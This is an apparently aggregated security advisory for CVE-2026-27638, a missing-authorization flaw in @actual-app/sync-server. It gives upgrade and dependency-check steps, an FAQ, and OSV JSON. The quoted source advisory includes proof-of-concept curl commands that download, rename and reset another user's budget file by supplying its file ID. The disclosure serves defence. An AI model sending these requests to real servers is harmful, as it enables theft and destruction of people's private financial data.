CVE-2026-27638: @actual-app/sync-server Missing Authorization Vulnerability

MODERATE
Advisory Identifier: GHSA-qmjj-p7m9-wjrv
CWE-862
Published
Advisory Summary

CVE-2026-27638 is a MODERATE missing authorization vulnerability (CWE-862: Missing Authorization) affecting @actual-app/sync-server libraries in the npm ecosystem. The issue involves missing authorization in sync endpoints allows cross-user budget file access in multi-user mode. Remediation is available by upgrading affected packages to version 26.2.1.

CVE-2026-27638 at a Glance

CVE Identifier CVE-2026-27638
GHSA Identifier GHSA-qmjj-p7m9-wjrv
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-862: Missing Authorization
Affected Product @actual-app/sync-server
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-27638

To remediate this vulnerability, upgrade all affected @actual-app/sync-server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@actual-app/sync-server fixed: 26.2.1
npm install @actual-app/sync-server@26.2.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @actual-app/sync-server

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-27638, inspect your project dependencies using npm:

npm ls @actual-app/sync-server

Analyze the terminal output to locate any version of @actual-app/sync-server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 26.2.1), your application is affected.

Note: The npm ls @actual-app/sync-server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In @actual-app/sync-server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

In multi-user mode (OpenID), the sync API endpoints (`/sync/*`) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID. ## Affected Code File: `packages/sync-server/src/app-sync.ts` The `validateSessionMiddleware` on line 31 confirms the user is authenticated, but individual endpoints only check that the file *exists* (via `verifyFileExists`), never that the requesting user *owns* or *has access to* the file. Compare with `POST /sync/delete-user-file` (lines 394-430) which correctly checks: ```js const isOwner = file.owner === userId; const isServerAdmin = isAdmin(userId); if (!isOwner && !isServerAdmin) { ... } ``` This check is missing from all other endpoints. ## Affected Endpoints - `GET /sync/download-user-file` - download any budget file - `POST /sync/upload-user-file` - overwrite any budget file - `POST /sync/sync` - read/write sync messages of any file - `POST /sync/user-get-key` - read encryption key info - `POST /sync/user-create-key` - change encryption key - `POST /sync/reset-user-file` - reset sync state - `POST /sync/update-user-filename` - rename file - `GET /sync/get-user-file-info` - read file metadata ## PoC Setup: Two users (Alice, Bob) authenticated via OpenID on the same Actual server. Alice has a budget with fileId `abc-123`. Bob downloads Alice's budget: ```bash curl -X GET 'https://actual.example.com/sync/download-user-file' \ -H 'X-Actual-Token: <bob-session-token>' \ -H 'X-Actual-File-Id: abc-123' \ -o stolen-budget.blob ``` Bob reads Alice's file metadata: ```bash curl -X GET 'https://actual.example.com/sync/get-user-file-info' \ -H 'X-Actual-Token: <bob-session-token>' \ -H 'X-Actual-File-Id: abc-123' ``` Bob renames Alice's budget: ```bash curl -X POST 'https://actual.example.com/sync/update-user-filename' \ -H 'X-Actual-Token: <bob-session-token>' \ -H 'Content-Type: application/json' \ -d '{"fileId": "abc-123", "name": "pwned"}' ``` Bob resets Alice's sync state (destructive): ```bash curl -X POST 'https://actual.example.com/sync/reset-user-file' \ -H 'X-Actual-Token: <bob-session-token>' \ -H 'Content-Type: application/json' \ -d '{"fileId": "abc-123"}' ``` File IDs can be discovered by admin users via `GET /sync/list-user-files` (admins see all files), through `user_access` sharing, or by guessing. ## Impact In multi-user deployments (OpenID mode), any authenticated user can steal other users' complete financial data (transactions, accounts, balances, payees), modify or destroy their budgets, and tamper with encryption keys. This is a personal finance app, so the data is highly sensitive.

CVE-2026-27638 Affected @actual-app/sync-server Versions

1 component(s)
Fixed Versions:
26.2.1
Product / Package Ecosystem Affected Versions Fixed Version
@actual-app/sync-server
npm
< 26.2.1
26.2.1

References

Frequently Asked Questions

What is CVE-2026-27638?
CVE-2026-27638 is a security vulnerability in @actual-app/sync-server involving Missing authorization in sync endpoints allows cross-user budget file access in multi-user mode under CWE-862: Missing Authorization.
Which @actual-app/sync-server versions are affected?
Affected versions include releases prior to 26.2.1 across affected packages: @actual-app/sync-server.
What version fixes CVE-2026-27638?
Upgrading to 26.2.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @actual-app/sync-server affected?
Yes, @actual-app/sync-server is affected in releases prior to 26.2.1. Upgrade your dependency to 26.2.1 or later.
What CWE is associated with CVE-2026-27638?
CVE-2026-27638 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check npm dependencies for CVE-2026-27638?
Run the dependency tree command: 'npm ls @actual-app/sync-server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qmjj-p7m9-wjrv",
  "modified" : "2026-02-27T19:29:46Z",
  "published" : "2026-02-27T19:29:46Z",
  "aliases" : [ "CVE-2026-27638" ],
  "summary" : "@actual-app/sync-server: Missing authorization in sync endpoints allows cross-user budget file access in multi-user mode",
  "details" : "In multi-user mode (OpenID), the sync API endpoints (`/sync/*`) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID.\n\n## Affected Code\n\nFile: `packages/sync-server/src/app-sync.ts`\n\nThe `validateSessionMiddleware` on line 31 confirms the user is authenticated, but individual endpoints only check that the file *exists* (via `verifyFileExists`), never that the requesting user *owns* or *has access to* the file.\n\nCompare with `POST /sync/delete-user-file` (lines 394-430) which correctly checks:\n```js\nconst isOwner = file.owner === userId;\nconst isServerAdmin = isAdmin(userId);\nif (!isOwner && !isServerAdmin) { ... }\n```\n\nThis check is missing from all other endpoints.\n\n## Affected Endpoints\n\n- `GET /sync/download-user-file` - download any budget file\n- `POST /sync/upload-user-file` - overwrite any budget file\n- `POST /sync/sync` - read/write sync messages of any file\n- `POST /sync/user-get-key` - read encryption key info\n- `POST /sync/user-create-key` - change encryption key\n- `POST /sync/reset-user-file` - reset sync state\n- `POST /sync/update-user-filename` - rename file\n- `GET /sync/get-user-file-info` - read file metadata\n\n## PoC\n\nSetup: Two users (Alice, Bob) authenticated via OpenID on the same Actual server. Alice has a budget with fileId `abc-123`.\n\nBob downloads Alice's budget:\n```bash\ncurl -X GET 'https://actual.example.com/sync/download-user-file' \\\n  -H 'X-Actual-Token: <bob-session-token>' \\\n  -H 'X-Actual-File-Id: abc-123' \\\n  -o stolen-budget.blob\n```\n\nBob reads Alice's file metadata:\n```bash\ncurl -X GET 'https://actual.example.com/sync/get-user-file-info' \\\n  -H 'X-Actual-Token: <bob-session-token>' \\\n  -H 'X-Actual-File-Id: abc-123'\n```\n\nBob renames Alice's budget:\n```bash\ncurl -X POST 'https://actual.example.com/sync/update-user-filename' \\\n  -H 'X-Actual-Token: <bob-session-token>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"fileId\": \"abc-123\", \"name\": \"pwned\"}'\n```\n\nBob resets Alice's sync state (destructive):\n```bash\ncurl -X POST 'https://actual.example.com/sync/reset-user-file' \\\n  -H 'X-Actual-Token: <bob-session-token>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"fileId\": \"abc-123\"}'\n```\n\nFile IDs can be discovered by admin users via `GET /sync/list-user-files` (admins see all files), through `user_access` sharing, or by guessing.\n\n## Impact\n\nIn multi-user deployments (OpenID mode), any authenticated user can steal other users' complete financial data (transactions, accounts, balances, payees), modify or destroy their budgets, and tamper with encryption keys. This is a personal finance app, so the data is highly sensitive.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@actual-app/sync-server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "26.2.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 26.2.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/actualbudget/actual/security/advisories/GHSA-qmjj-p7m9-wjrv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27638"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/actualbudget/actual/commit/9966c024cb75f57943193cac8e42f401efed9d08"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/actualbudget/actual"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/actualbudget/actual/releases/tag/v26.2.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-27T19:29:46Z",
    "nvd_published_at" : "2026-02-26T23:16:34Z"
  }
}